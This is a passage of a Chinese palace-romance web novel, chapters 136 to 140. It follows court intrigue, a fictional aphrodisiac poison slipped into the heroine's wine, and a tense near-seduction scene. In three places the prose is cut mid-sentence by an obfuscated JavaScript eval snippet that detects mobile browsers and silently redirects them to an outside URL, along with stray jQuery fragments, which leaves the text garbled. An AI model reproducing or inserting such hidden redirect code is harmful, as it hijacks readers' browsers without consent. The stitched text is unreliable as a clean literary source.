萧凌川对她此刻心底的复杂思绪浑然不觉,幽深的桃花眸微沉:“不是说好要做饭给我吃吗?怎么,姜姑娘这是想出尔反尔?” 姜姝宁这才惊觉自己竟朝宫门方向走去,早已与景和宫相隔甚远, “殿下……莫非是专程来此截我的?” “孙神医说你事情已处理得差不多了,我等了许久也不见你身影,便来宫门附近转转。果不其然,在此瞧见了你。”他眼神愈发深邃,隐隐透着几分不悦,“若非我亲自来拦,今日这顿饭,怕是要被你糊弄过去了!” 姜姝宁:“……” 前世,她怎么没发觉他对吃食竟如此上心? 难道是因为前世她所做的饭菜他早已**以为常,所以不珍贵;而今生,他无法时时尝到她的手艺,反倒生出了几分惦念? 人啊,唯有对那得不到或难以长久拥有的东西,方才生出珍惜之心。 第136章 不再费心思迎合他 第一百三十六章不再费心思迎合他 姜姝宁跟着萧凌川一起往景和宫走去。 路上,宫人络绎不绝,纷纷恭敬地朝萧凌川行礼,目光却忍不住悄悄打量姜姝宁,似在揣测她的身份。 萧凌川心情颇佳,步履从容而缓慢,嘴角噙着一抹若有若无的笑意,恨不得让整个皇宫的人都瞧见他与姜姝宁并肩而行的模样。 对萧凌川今生这突如其来的“在意”,姜姝宁却无半分欣喜。 前世,他对她事无巨细的照顾、投其所好的讨好、忍气吞声的包容统统都熟视无睹。 如今重生,他反倒不愿放手,处处显露出一副“珍重”的姿态。 她既已重活一世,怎会甘愿再与他纠缠? 他或许存了再续前缘的心思,可她却半点也不愿回头。 想到这,姜姝宁忽然知道往后该如何与萧凌川相处。 不惯着他就是了。 来到景和宫,孙神医已在殿中,宫人们纷纷朝姜姝宁恭敬行礼,就连那素来高傲的黑豹也摇着尾巴上前,谄媚地蹭了蹭她的衣摆。 姜姝宁朝萧凌川微微欠身,语气平静:“殿下,臣女这便去后厨准备饭菜。” 萧凌川眉眼间透着一抹笑意,温声道:“不急,天色尚早。不如先与本殿下饮一杯清茶,稍后再去做饭也不迟。” 姜姝宁心头冷笑:装腔作势,不过是将我当作厨娘罢了,还非要摆出一副体贴模样作甚? 面上却不动声色,依旧淡然:“多谢殿下好意,只是今日要备的菜式颇多,臣女还是早些去准备为好。” 萧凌川轻点了下头,目光在她身上多停留了一瞬,方道:“那便去吧。” 他目送着她的身影离开,眸中的情愫不加掩饰。 一旁的孙神医见状,抚须而笑,揶揄道:“像姜姑娘这般贤惠的世家贵女,可真是少见。殿下当真好福气啊!” 萧凌川心头微动,眉眼浮起一抹得意之色,脱口而出:“孙神医有所不知,从前姜姑娘待我更好,日日为我洗手作羹汤,细心备至。” “哦?竟有此事?”孙神医满脸诧异,追问道,“那是何时的事?” 萧凌川一怔,这才猛然惊觉,自己所言已是前世旧事。 他神色一敛,掩饰般轻咳一声,淡淡道:“陈年琐事罢了。” 孙神医却听出了他话中难以掩饰的遗憾。 姜姝宁来到厨房,卷起袖子开始忙碌起来。 她扫了一眼后院池子里的鱼,见里面的鱼肥头圆脑,顿时嘴角微勾,朝一旁的后厨宫人吩咐道:“去,把池子里的鱼捞几条上来。” 那宫人愣了一下,笑着回道:“姜姑娘,殿下不喜腥味,这鱼平日里都只给黑豹当餐食吃,厨房里从不敢做鱼菜。” 姜姝宁自然知道萧凌川不爱鱼腥味,甚至连姜蒜的味道都避之不及。 前世,她为了讨他欢心,每次做鱼都要先用酒腌制半日,再以慢火细烤去尽腥气,直至鱼肉散发出诱人香气为止。 可今生,她不愿再费那心思去迎合他。 “孙神医也同我们一起用膳,他应当是喜欢吃鱼的。你们帮我把鱼捞上来,去鳞取鳔,我待会儿要用。” “是,姜姑娘!”宫人不敢多言,忙不迭地应下,匆匆去池边忙活。 不一会儿,鱼被处理干净送了上来,姜姝宁熟练地拿起刀,将鱼片得薄如蝉翼,随后丢进锅中,用姜蒜爆炒,浓郁的鲜香味瞬时弥漫开来。 她还做了几道重口味的菜,糖醋排骨酸、麻婆豆腐、麻辣牛肉、爆炒腰花、水煮肉片……全是按着自己的喜好来,根本不管萧凌川能不能入口。 等菜一道道端上桌,萧凌川的目光扫过满桌红彤彤、香气扑鼻却无一合他口味的菜肴,眉头微微一皱,眼神里透出几分不悦。 他平日里饮食清淡,不喜腥膻,不碰姜蒜,不食辛辣,连甜腻的食物也极少沾。 这一桌子菜,竟没有一道是他惯常入口的。 他张了张嘴,想说些什么,却又硬生生忍住,目光幽怨地扫了姜姝宁一眼。 姜姝宁却像是没瞧见他的脸色,径自热情地招呼孙神医:“孙神医,快来用膳!方才多亏了您,我三妹才死里逃生。还请您别嫌弃我这回报上不得台面!” 孙神医看着满桌菜肴,顿时两眼放光:“姜姑娘好厨艺,这才一会儿功夫就弄出十几道菜来,就是宫里的御厨都没你这本事。这谁敢说上不得台面啊?老夫今日有口福了!” “孙神医过奖了,快吃吧!”姜姝宁亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694094|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给孙神医盛了一碗鱼汤,目光却始终不往萧凌川身上瞟。 萧凌川坐在主位上,脸色越发阴沉,筷子在手中握得有些紧,指节都泛着白。 他盯着那碗散发着浓烈腥气的鱼汤,胃里一阵翻涌,眉头皱得几乎能夹死一只苍蝇。 就在这时,门外传来一阵脚步声,七皇子萧琪钰大步流星地走了进来,边走边吸着鼻子:“哇,好香啊,是嫂嫂来了吗?” 他的目光在厅中一扫,落在姜姝宁身上,笑容越发灿烂,却在瞥见萧凌川那张黑如锅底的脸时,脚步猛地一顿。 “额……我来得似乎有些不合时宜……”他挠了挠头,作势便要转身离去,却被姜姝宁出声唤住。 “七皇子殿下,既已来了,便一同用膳吧!”姜姝宁殷勤为他舀了满满一碗米饭,递至他手边,“来,尝尝臣女的手艺如何。” 萧琪钰接过碗时,小心翼翼地瞥向萧凌川,试探着问:“四哥,可以吗?” 萧凌川面色阴沉,目光冷冷地扫过他:“既然姜姑娘盛情相邀,七弟自可留下同席用膳。” 萧琪钰心头一紧,暗自腹诽:真的是这样吗? 四哥这表情,分明像是下一刻便要将我扔出景和宫去! 他不敢多言,谨慎地挑了个离萧凌川稍远的位置坐下,低头瞧着眼前一桌色香味俱全的饭菜,不由得咽了咽口水。 只是,瞥见萧凌川碗中空空如也,他又不敢贸然动筷。 姜姝宁夹了一块辣子鸡放入他碗中,语气和煦:“殿下,尝尝这一道,这是臣女的拿手好菜。” 萧琪钰受宠若惊:“多谢嫂嫂!” 听到这声称呼,姜姝宁笑意微敛:“殿下往后莫再唤我嫂嫂了。臣女已打定主意,此生不嫁。” 她心中暗忖,即便要择人而嫁,也绝不再选皇家之人,这宫中是非争斗,实在太多。 待为兄长报了大仇,她便寻一处远离喧嚣的清静之地,暗度余生。 “嫂……姜姑娘,你竟打算终身不嫁?”萧琪钰满脸错愕,下意识瞥向萧凌川,脱口而出,“那我四哥岂不是要打一辈子光棍?” 萧凌川闻言,脸色愈发阴鸷,目光如刀般直射萧琪钰。 此时他比任何时候都想割掉萧琪钰的舌头! 第137章 一根怀疑的刺 第一百三十七章一根怀疑的刺 “七皇子说笑了。”姜姝宁神色浅淡,“四皇子殿下将来是要问鼎天下的,怎么可能打光棍?” 萧琪钰这才意识到他说错话,连忙道:“瞧我这嘴!四哥怎么可能打光棍,他将来肯定是后宫佳丽三千的!” 这下好了,萧凌川何止想割他舌头,简直想直接杀了他。 萧琪钰懊恼不已:这死嘴,尽给自己惹祸! 对上萧凌川那几乎能将人凌迟的目光,他头皮发麻,赶紧低头埋首于碗中,装作专心用膳。 四哥的眼神好可怕! 还是多吃点菜压压惊吧! 见他一直在扒拉饭,姜姝宁又给他夹了几口菜:“殿下别光顾着吃饭,多吃菜!” 萧凌川见她如此照顾萧琪钰,胸中莫名燃起一团无名之火。 他目光阴鸷地落在姜姝宁身上,语气中带着几分酸涩:“姜姑娘怎的只顾着给七弟夹菜,却不给我夹菜?” 姜姝宁脱口而出:“殿下,这桌上有你爱吃的菜吗?” 萧凌川冷笑一声,神情带着几分讥诮:“原来姜姑娘也知道,这满桌的菜都不是我爱吃的啊!” 此言一出,萧琪钰与孙神医皆停下咀嚼,厅中气氛骤然凝固。 姜姝宁对上萧凌川那双满是控诉的桃花眼,无动于衷:“殿下,虽然这菜你都不爱吃,但这米饭是极好的。殿下就多吃点饭吧!” 萧凌川:“……” 一餐饭,众人皆吃得津津有味,意犹未尽,唯独萧凌川神色冷峻,筷子在碗中拨弄了半晌,仅勉强用了半碗米饭,便起身拂袖离席。 姜姝宁忍不住问:“殿下饱了?” “饱了。”萧凌川语气生硬,“气饱了!” 等他离开,萧琪钰终于没忍住笑出声。 “嫂……姜姑娘,这满桌菜肴,分明是照着四哥最厌恶的口味精心烹制的吧?你当真不怕他动怒?” 姜姝宁不以为然:“四皇子殿下口味太过挑剔,偶尔也该尝尝平日不喜之物。否则日后若逢特殊境况,吃不上合心意的东西,岂不束手无策?” 她心中冷笑,费尽心思迎合萧凌川的喜好,又有什么好处? 将来等他登上皇位,在他后宫里当个日日烹羹侍奉,盼着他宠幸的贵妃吗? 想想就膈应! 萧琪钰朝姜姝宁投去敬佩的目光。 这世上敢如此堂而皇之地激怒四哥的,怕只有姜姑娘了吧? 他很期待姜姑娘成为他四嫂嫂的那天! 萧琪钰和孙神医用完膳,相继告辞。 姜姝宁也准备离开,萧凌川却蓦地开口,语气冷冽:“此生不嫁?” 颇有几分咬牙切齿的意味。 姜姝宁心头微震,面上却不动声色,淡然一笑:“臣女跟谁都这么说,免得父母为我婚事操心。殿下何须在意?待殿下成为这大邺的君王,大邺女子皆归殿下所有,臣女自然也不例外。” 萧凌川目光阴郁,牢牢锁住她,像是要穿透她的内心:“最好如此,若让我发现你言不由衷,休怪我不客气!” “臣女不敢!” 姜姝宁面上低眉顺眼,心中却在冷笑。 既要这大邺江山,又想将她收入囊中,萧凌川未免太贪心! —— 夜幕低垂,麟阁宫内,萧修湛凝视着榻上熟睡的姜莲。 她脸色苍白如纸,眉间犹带几分痛楚,令人不忍。 他心中五味杂陈,丧失骨肉的遗憾陡然如潮水般涌上心头。 他悄然离开麟阁宫,来到芙蓉殿。 凝香见他来,眼底闪过一抹诧异,旋即恢复平静。 心中虽然不悦,但还是一副和颜悦色的模样:“殿下深夜造访,所为何事?” 毕竟这芙蓉殿如今尽是他安插的心腹,托他的庇护,她腹中的胎儿方能安然无恙。 萧修湛目光落在她红润的脸庞与隆起的腹部,心中腾起一股莫名的悸动。 他缓步上前,情不自禁想伸手轻抚她的小腹。 凝香一惊,本能地后退半步,语气中带着几分戒备:“殿下,此刻不宜……” 她误以为他又动了欲念,意欲与她欢好。 萧修湛闻言,淡淡一笑,语气却柔和了几分:“你别误会,本殿下只想感受一下孩子的动静。” 说完,他大掌覆上她的腹部,温声道,“这孩子,约莫六个月了吧?” 凝香垂眸,低声道:“是。” 其实已有七月,再过不到三月,便可分娩。 只要诞下皇家血脉,她便能在这后宫中站稳脚跟。 萧修湛掌心感受到胎儿的轻踢,面容竟浮起一抹罕见的温柔,喃喃道:“当初留下你腹中这孩子,是对的。” 以姜瑶真的性子,就算不是姜莲,而是其他妾室怀了他的骨肉,恐怕也难逃毒手。 如今姜瑶真是正妃,依大邺律法,除非他握有确凿证据证明姜莲之子死于她手,否则断难将她问罪。 其实,若他执意彻查,总能寻到蛛丝马迹。 可他不愿将此事闹大,免得让其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694095|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子看他笑话,更不愿让父皇以为他连后院之事都料理不周,难堪大任。 凝香看出他神色的异样,佯装关切地问:“殿下神色不虞,可是有烦心事?” “我后院一妾室有孕,不料却被皇子妃害得小产。”萧修湛神色阴郁道。 凝香闻言,眼底闪过一抹不易察觉的冷光,面上却故露惊愕之色:“三皇子妃刚入麟阁宫,便有如此狠辣手段?殿下,这……” 她欲言又止,似是不忍苛责。 萧修湛眉头紧锁,沉声道:“都怪我从前疏忽,未曾看清她的真面目。如今四弟处处压我一头,若再传出我后院管束不周,怕是父皇对我更添不满。” 凝香心头冷笑,面上却不动声色,轻轻握住他的手,柔声道:“殿下莫要忧心。妾身腹中怀着您的骨肉,定会小心谨慎,绝不让皇子妃有可乘之机。” 萧修湛闻言,眼底闪过一丝亮色,握紧她的手,郑重道:“好,凝香,你放心。无论母妃、皇后,还是后宫其他嫔妃,都休想动你腹中孩儿分毫!我定会护你母子周全。” “谢殿下!”凝香顺势依偎在他怀中,娇弱之态尽显,似不经意般轻声道,“只是,殿下,三皇子妃如此跋扈,您可曾想过如何处置她?” 萧修湛冷笑,目光阴鸷:“自她嫁入麟阁宫,我从未踏足她的寝殿。纵然她占着正妃之位又如何?宫中谁人不知她失宠。” 凝香低垂眼帘,掩住唇角一抹意味深长的笑,轻声道:“殿下果真铁石心肠,如此绝色佳人,竟忍心冷落。不过……” 她顿了顿,语气带着几分若有若无的暗示,“旁的男子,怕未必有殿下这般定力。” 萧修湛面色一沉,声音骤冷:“你此话何意?” 凝香故作惊慌,忙低头请罪:“妾身失言!只是听闻三皇子妃容貌倾城,未出阁前便有诸多世家子弟倾慕于她……” 她声音渐低,似懊悔失言,却暗自观察萧修湛的神色。 萧修湛沉默不语,目光愈发阴沉。 他久历风月,深谙女子心性。 姜瑶真那般姿容绝艳的女子,从小被众星捧月惯了,若长久被冷落,哪能甘心寂寞? 若她心生他意,红杏出墙,届时他颜面何存? “她若敢如此,”萧修湛咬牙切齿,声音冷如寒冰,“本殿定让她生不如死!” 凝香不说话。 但她知道,自己这句话成功在萧修湛心中埋下一根怀疑的刺。 只待时机成熟,这根刺便会成为一柄利刃,直刺姜瑶真的命门! 第138章 牡丹花下 第一百三十八章牡丹花下 姜天泽步入后厨,见母亲姜三夫人正凝神调制**。 见案上摆放着蛇床子和yin羊藿这些药材,他眉头微挑,语气略带疑惑:“母亲,你是在制毒?这**怎么跟媚药似的?” 姜三夫人头也不抬,唇角勾起一抹冷笑:“此毒是买家托我做的,她想让仇敌死得极不体面。我思来想去,在翻云覆雨时七孔流血而亡,够不体面了吧?” 姜天泽嗤笑一声:“不过是过量媚药罢了,剂量足些,自会暴毙。母亲,这毒未免少了新意。” 母子谈论此事神色淡漠,人命关天的事在他们眼中不过无关紧要的琐事。 姜三夫人停下手中动作,抬头瞥他一眼:“天泽,你别小瞧这毒。它不直接取命,服下后只叫人情欲高涨,表面看起来与寻常媚药无异。但其玄妙之处,就在于能让**者生出特殊体液,但凡有人与之交媾,沾染上这些体液,便会气血逆乱,七孔流血而亡。” 姜天泽不以为然:“这不就是过量媚药?不过是连累那与他交媾的倒霉鬼一起送命罢了。” 姜三夫人冷笑道:“差之千里!此毒不给仇敌用,而是下在他心上人身上。试想,心爱之人受媚药煎熬,哪个男子能忍住不与她云雨?” 姜天泽若有所思,心想若姜姝宁中此毒,自己怕也难自持。 “买家这仇敌,虽死得不体面,但牡丹花下死,做鬼也风流啊!” 姜三夫人笑着道:“说得好,那这**就叫‘牡丹花下’!” —— 盛夏,宫中喜讯传来,香妃娘娘诞下小公主。 皇帝大喜,赐名荣珠,寓意珠玉无瑕。 宫中嫔妃们都暗自松一口气——幸好是个公主,无缘储位,否则以皇帝对香妃的宠爱,皇子恐难不被列入继位之选。 满月宴当日,宫廷盛况空前,邀尽世家贵女。 姜姝宁一改往日素雅,特意换上桃红色罗裙,艳若春花。 姜天泽恰好来找她,乍一见她这幅明艳动人模样,竟有些失了神。 半晌,他才寻回自己的声音:“大姐姐今日怎穿得这般好看?” 姜姝宁轻笑,眼底闪过一丝狡黠:“今晚是荣珠公主满月宴,小孩子爱鲜亮颜色,我便穿得艳些,只盼小公主能多瞧我两眼。” 姜天泽凝视她,语气柔和却藏着深意:“大姐姐如此喜欢孩子?” “玉雪可爱的孩子,谁不喜欢?”姜姝宁反问,笑意盈盈,“三弟难道不喜欢?”“喜欢的。”姜天泽看着她,神色温柔,“大姐姐喜欢的,我都喜欢。” “可惜陛下只邀了女眷赴宴,不然你也能一睹小公主的风采。” 姜天泽唇角微扬:“那大姐姐替我多瞧小公主几眼。” “自然!”姜姝宁颔首,转身欲走,姜天泽却忽地唤住她:“大姐姐!” 她回眸,疑惑道:“何事?” 姜天泽目光微沉,心头涌起一丝莫名不安。 他上前挽起她的袖口,见那条小白蛇乖巧盘于腕间,吐着信子,方才松了口气:“大姐姐,切莫让小白离身。” 有小白在,她定会安然无恙。 姜姝宁点头应下,笑容未变:“好,我先走了。” 她上了马车,却在车内悄然摘下小白蛇,放入首饰盒,递给凌芜:“凌芜,帮我看着小白,别随便打开盒子,当心它伤人。” 凌芜一愣:“大小姐,您方才不是答应三少爷……” “今晚是满月宴,出席的皆是女眷,带条蛇做什么?万一惊了小公主,岂不罪过?”她语气轻松,“放心,不会有事的。” 在小公主的满月宴上,姜姝宁看到了香妃娘娘凝香。 她比起上次在梅花宴时更显丰腴,肌肤胜雪,气色红润,可见在宫中过得不错。 她抱着襁褓中的小公主,笑意盈盈地接受着众人的恭贺。 姜姝宁也想去瞧瞧那玉雪可爱的小公主,奈何宾客如云,只能耐心等待时机。 赴宴的不仅有世家贵女,还有太后、皇亲国戚以及皇子们。 皇子们对新生的妹妹兴致缺缺,反倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699930|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后与一众夫人对荣珠公主爱不释手,逗弄个不停。 姜姝宁目光扫过人群,在角落里发现了独自一人的荣华公主。 她走上前去,关切地问:“荣华公主,怎么一个人待着?要不要与我一同去看看荣珠公主?” 荣华公主摇了摇头,小脸上满是愁容:“姜姐姐,你知道吗?我快要被送去和亲了!” “什么?!”姜姝宁一惊,“谁告诉你的?” “我自己猜的,”荣华公主语气低落,“母妃说,我姐姐原本是父皇唯一的掌上明珠,父皇本不舍得她远嫁。可后来我出生了,姐姐便不再是唯一的公主,没多久就被送去北陵和亲了。如今香妃娘娘诞下荣珠公主,我也不是唯一的公主了,想来很快也要被送去和亲。” 姜姝宁哭笑不得:“荣华公主,别胡思乱想,你还小,陛下不会送你去和亲的!” 荣华公主却一脸认真:“姜姐姐,你不懂!母妃说,对帝王而言,送公主和亲是最省事的避免战乱的法子,牺牲一个公主,就能换来大邺几十年的安稳。公主嘛,生来就是用来和亲的!” 这番话让姜姝宁心中五味杂陈。 荣华公主不过十一岁,小小年纪,就明白了自己身不由己的命运。 身为大邺公主,和亲联姻便是她们的宿命。 若远嫁一位公主真能换来大邺的和平,皇帝定会毫不犹豫地牺牲女儿的幸福。 姜姝宁柔声安慰道:“荣华公主放心,你父皇不会让你和亲的!我略懂占卜之术,掐指一算,你啊,可以在宫里随心所欲地生活!” 荣华公主闻言,小脸上终于露出了笑容:“真的吗?姜姐姐可不许骗我!” 姜姝宁心中笃定。 毕竟前世的皇帝还未等到荣华公主长大就驾崩了,算算时间,大约就在明年这个时候。 她不由看向香妃身旁的皇帝,只见他面色红润,精神矍铄,丝毫没有即将暴毙的迹象。 姜姝宁心头一凛,一股寒意油然而生——莫非,前世的皇帝并非寿终正寝,而是遭人暗害? 第139章 无法忍受明月被独占 第一百三十九章无法忍受明月被独占 思忖间,五皇子萧怀瑾走了过来。 “姜姑娘在想什么,竟如此出神?” 姜姝宁回过神来,敛衽行礼:“臣女见过五皇子殿下。殿下可是去看过荣珠小公主了?” 萧怀瑾微怔,随即答道:“还未。” “那便一同去吧!”姜姝宁眸中闪着期盼的光芒,若是与萧怀瑾和荣华公主一起,或许能更快见到小公主。 萧怀瑾略一迟疑,便颔首应允:“好。” 姜姝宁或许不知,皇家兄弟姐妹间的关系微妙复杂。 即便是一母同胞,也难免存在竞争,更别提不同妃嫔所出的子女。 今日皇子们前来,多半只是例行公事。 在他们的母妃眼中,香妃这样出身的妃子,连同她所生的孩子,根本不值得他们多看一眼。 可为了姜姝宁,萧怀瑾愿意主动向香妃示好。 姜姝宁喜爱小动物,想来也是喜欢孩子的。 果然,在萧怀瑾的陪同下,姜姝宁很快便来到了香妃身旁。 太后见了她,慈祥地笑道:“姜姑娘也来了?瞧瞧这小公主,多可爱!” 说着,太后便将小公主递到姜姝宁怀中。 姜姝宁受宠若惊,下意识地望向香妃。 香妃微微颔首,示意她可以抱。 姜姝宁顿时欣喜万分,小心翼翼地接过小公主,目光在她娇嫩的眉眼间流转。 这小小软软的婴孩,粉雕玉琢,比世间任何生灵都要可爱。 姜姝宁鼻尖一酸,心中涌起一股难言的酸楚。 前世的她,何尝不渴望拥有一个孩子,一个玉雪可爱的女儿? 可这个愿望最终被萧凌川无情地剥夺了。 七皇子萧琪钰的目光落在不远处姜姝宁怀抱小公主的身影上,不由笑道:“嫂嫂对小公主的喜爱,竟比我们这些做兄长的还要浓厚几分。” 萧凌川的目光却落在姜姝宁身旁的萧怀瑾身上,神色阴沉:“她对哪个孩子都喜欢!” 偏偏让萧怀瑾陪她去看小公主,两人站在一起,怎么看怎么碍眼! “既然嫂嫂如此喜爱孩子,待日后四哥娶了她,定要加把劲,多生几个才是。” 他像是忽然想起什么似的,故意道,“对了,嫂嫂不是说过此生不嫁吗?那四哥岂不是没机会了?” 萧凌川的目光落回姜姝宁身上,语气森冷:“笑话,岂容她说了算?她不嫁,也得嫁!” “四哥英明!”萧琪钰连忙奉承道。 此时,三皇子萧修湛也携姜瑶真来到宴席。 他远远看着被姜姝宁抱在怀里的婴孩,眼底流露出一丝不易察觉的柔情。 姜瑶真误以为他正看着姜姝宁,心中妒火中烧,忍不住出言讥讽:“一个女支子生的孩子,有什么好看的?真是没见过世面!” 萧修湛脸色骤变,冷声道:“人家好歹诞育了子嗣,你呢?除了害死别人的孩子,可有本事为本皇子诞下子嗣?” 丢下这句话,他拂袖而去,留下姜瑶真一人在原地怒火攻心。 她嫁入麟阁宫数月,萧修湛都从未碰过她,让她如何有孕? 他分明是故意刁难! 姜姝宁抱了小公主许久,这才依依不舍地递还给香妃,由衷赞叹道:“香妃娘娘,小公主真是太可爱了!” 香妃笑着道:“姜姑娘过誉了。姜姑娘花容月貌,将来诞下的孩子定会更加可爱!” “香妃娘娘谬赞。” 两人正寒暄着,忽有一人醉醺醺地走上前来。 “这就是香妃娘娘所出的荣珠公主?让我也瞧瞧!”六皇子带着几分醉意说道。 香妃下意识地将婴孩抱紧,四下寻觅皇帝和太后的身影。 皇帝和太后正在席间与几位皇亲国戚谈笑风生,显然没有注意到香妃此刻的窘境。 姜姝宁见六皇子伸出手来要碰小公主,连忙上前阻拦:“六皇子殿下,小公主尚且年幼,您未曾抱过稚子,恐会惊扰到她!” “你算什么东西,竟敢管本皇子?”六皇子正欲发怒,却被一旁萧怀瑾一声冷喝打断。 “六弟,注意你的言行!” 六皇子如梦初醒般看向萧怀瑾,随即堆起笑容:“五哥也在啊!你莫要动怒,我不过是好奇,想看看香妃娘娘所生的这位小公主身上是否带有异香!若有,将来岂不更适合和亲?哪个君王不喜欢身上带有香气的玩物?这小公主若是能去和亲,荣华不就安全了?五哥 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张嫣转身,便对上姜瑶真意味不明的笑脸。 她屈膝行礼:“见过三皇子妃。” “张姑娘不必多礼,日后你我便是一家人了。”姜瑶真望着不远处的萧怀瑾,意有所指道,“可惜啊,张姑娘想嫁的并非二皇子,而是五皇子吧?” “你……”张嫣被人戳中了心事,整张脸涨得通红,眼神闪烁。 “张姑娘放心,此事只有我知道。”姜瑶真拉着她的手,把一个瓷瓶塞进她掌心里,“把这个给我姐姐喝下,今夜之后,她便是四皇子殿下的人了,不会再和五皇子殿下纠缠不清。哦,对了,这瓶药就叫‘牡丹花下’!” 张嫣看着手中的瓷瓶,声音颤抖:“你为何不自己给她下药?” “因为她对我处处提防,不会轻易吃我给的东西。况且,”姜瑶真凑近张嫣,语气低沉,带着笃定的恶意,“我觉得,张姑娘你不会拒绝!” 张嫣没说话,她默认了。 她可以接受自己不被仰望的明月所看见。 但她无法忍受明月被另一个女人独占! 第140章 你这样,我更难受 第一百四十章你这样,我更难受 姜姝宁刚在席间落座,张嫣便主动上前攀谈。 “姜姑娘,我是专程来道歉的。”她一副愧疚的模样,“那日在会客茶楼,我在你弟弟糕点中下毒一事,实非我本意。我和父亲都是被人逼的!” “张姑娘不必介怀,此事我已释怀。”姜姝宁语气平和。 萧凌川已承认是他暗中授意给姜天泽下毒,张嫣父女不过奉命行事罢了,她自然没有理由怪他们。 “姜姑娘真是宽宏大量。”张嫣拿起酒壶,为姜姝宁斟满一杯酒,“喝了这杯酒,就当此事一笔勾销。” “好。”姜姝宁不疑有他,接过酒杯一饮而尽。 张嫣眸色晦暗。 就在刚刚,她将藏于指甲缝隙中的“牡丹花下”药粉,悄无声息地撒入了酒中。 过了今夜,姜姝宁便会和她一样,再也没有资格出现在萧怀瑾面前了。 没有人能独占她的明月。 姜姝宁饮下酒水后不久,便觉得一阵头晕目眩。 张嫣见药效发作,连忙扶住她,柔声道:“姜姑娘看来不胜酒力,我扶你去御花园吹吹风吧!” 说完,她便搀扶着姜姝宁,径直走向远离宴席的一处偏殿。 将姜姝宁安置在床榻上,掩好殿门后,张嫣立刻去找萧琪钰,故作惊慌道:“七皇子殿下,不好了,姜姑娘似是醉酒,一个劲儿地喊着四皇子殿下的名讳。臣女怕她落人口实,便将她带到了假山旁的偏殿。” 萧琪钰一听,顿时双目圆睁。 嫂嫂喝醉了还喊着四哥的名字? 四哥若是知道,岂不是要乐疯了! “你做得很好,我这就去遣人送醒酒汤过去!” 说完,萧琪钰飞也似地跑去找萧凌川。 “四哥,四哥!嫂嫂喝醉了,还喊你的名字呢!她现在在假山旁的偏殿,你快去看看!” 萧凌川听到这话,二话不说便朝疾步离开。 张嫣远远地守着,确认萧凌川进了偏殿,这才悄然离去。 她心中暗道:姜姝宁,你莫怪我心狠。 要怪就怪你自己朝三暮四,明明无意嫁给五皇子,却偏偏吊着他不放,让他为你神魂颠倒。 今夜一遭,就当是你的报应吧! 萧凌川推开殿门,就看到了极其香艳的一幕——床榻上,姜姝宁发髻凌乱,香肩微露,以极其撩人的姿势斜躺着,口中不断呢喃:“好热,好热!” 走近一看,她双颊潮红,眼神涣散,不用猜也知道,是中了媚药。 萧凌川神色微沉:谁这么大的胆子,敢在他的眼皮子底下给她下药? 姜姝宁见一个人影朝自己逼近,濒临崩溃的她本能地缠了上去,带着哭腔哀求道:“救救我,我好难受……” 她柔软无骨的身子紧紧贴着萧凌川。 盛夏衣衫单薄,被她这样一贴,滚烫的温度瞬间传遍他的全身。 他不禁喉结滚动,声线沙哑:“你别这样……你这样,我更难受。” 他的自制力本就有限,如今更是几经告罄,实在经不起她如此撩拨。 该死的,究竟是谁给她下了如此猛烈的媚药? 才这么一会儿功夫,她浑身便烫得像火烧一般。 他连忙从身上掏出从前在孙神医那里要来的解药,塞一颗进她口中。 眼见她准备吐出来,他干脆低头覆上她的唇,用唇舌逼她将解药吞下。 片刻之后,萧凌川只觉脊背发烫,血脉贲张。 姜姝宁像要将他吞噬一般,吻得愈发热烈,甚至用修长的双腿缠住他的腰。 他一边竭力抵抗着她的主动,一边紧蹙眉头。 该死!这解药竟然毫无作用? 难道……只能以鱼水之欢才能缓解? 前世床笫间的一幕幕如潮水般涌上心头,萧凌川浑身紧绷,呼吸也变得急促起来。 他修长的手指微微蜷起,理智正在节节败退。 若今夜顺水推舟,与她生米煮成熟饭,她便彻底属于他了。 他无需再绞尽脑汁去得到她,也不用再担心旁人觊觎她。 他扣紧她的腰肢,修长的手指沿着她曼妙的腰线一路向下,探寻到她最溃不成军的地方…… “姝宁,你可知我是谁?”他低声问道。 姜姝宁没有回应,体内翻涌的热潮已经让她丧失了思考能力,只剩下最原始的渴望。 她扭动着腰肢,本能地寻求着他的抚慰。 萧凌川忽然嘲讽一声。 若今夜趁人之危,那与禽兽之举又有何异? 此刻的她,甚至都不知 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一股异样的感觉袭来,她的小腹如同燃着一团火,有什么滚烫的东西正源源不断地从体内倾泻而出…… 姜姝宁深吸一口气,羞赧难堪:“我……我这是怎么了?是中了媚药吗?” “不错。而且这媚药非比寻常,方才我喂你服下解药,丝毫不起作用。我已经让凌风去请孙神医了,你再忍耐片刻。” 萧凌川的声音听起来还算冷静,这让姜姝宁暗暗松了一口气。 还好,他没有趁人之危。 